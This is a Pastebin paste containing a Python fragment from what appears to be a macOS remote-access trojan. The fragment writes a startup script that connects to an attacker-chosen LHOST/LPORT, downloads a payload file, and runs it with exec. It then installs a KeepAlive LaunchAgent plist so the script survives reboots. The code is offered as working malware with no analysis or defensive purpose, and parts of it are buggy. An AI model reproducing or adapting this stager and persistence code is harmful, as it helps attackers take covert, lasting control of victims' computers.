Advertisement
briannovius

test

Feb 26th, 2019
136
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. print("Injecting to startup..")
  2. file = ("LHOST = " + LHOST + "\n LPORT = " + LPORT) + """
  3. import socket
  4. import platform
  5. import time
  6. import os
  7. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #create a new socket
  8. s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  9.  
  10. s.connect((LHOST, LPORT))
  11. s.send("stage".encode())
  12. time.sleep(0.1)
  13. s.send("Payloads/MacOS/python/payload.py".encode())
  14. temp = open("temp.txt", "w")
  15. l = s.recv(1024)
  16. temp.write(l.decode())
  17. s.settimeout(5)
  18. try:
  19. while (l):
  20. l = s.recv(1024)
  21. temp.write(l.decode())
  22. except Exception:
  23. print("Download succecssful")
  24. temp.close()
  25. temp = open("temp.txt", "r")
  26. q = temp.read()
  27. temp.close()
  28. print("yes")
  29. os.remove("temp.txt")
  30. print("yes")
  31. exec(q)()
  32. """
  33. try:
  34. os.mkdir("~/LaunchAgents")
  35. os.mkdir("~/startup")
  36. pyfile = open("~/startup/startup.py", 'w')
  37. pyfile.write(file)
  38. pyfile.close()
  39. startfile = """
  40. <?xml version="1.0" encoding="UTF-8"?>
  41. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  42. <plist version="1.0">
  43. <dict>
  44. <key>Label</key>
  45. <string>Startup</string>
  46. <key>ProgramArguments</key>
  47. <array>
  48. <string>python</string>
  49. <string>~/startup/startup.py</string>
  50. </array>
  51. <key>StandardErrorPath</key>
  52. <string>/var/log/python_script.error</string>
  53. <key>KeepAlive</key>
  54. <true/>
  55. </dict>
  56. </plist>
  57. """
  58. stertfile = open("~/LaunchAgents/startuppython.plist", "w")
  59. stertfile.write(startfile)
  60. stertfile.close()
  61. except Exception as e:
  62. send("Could not inject to startup! This was because of: " + str(e)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement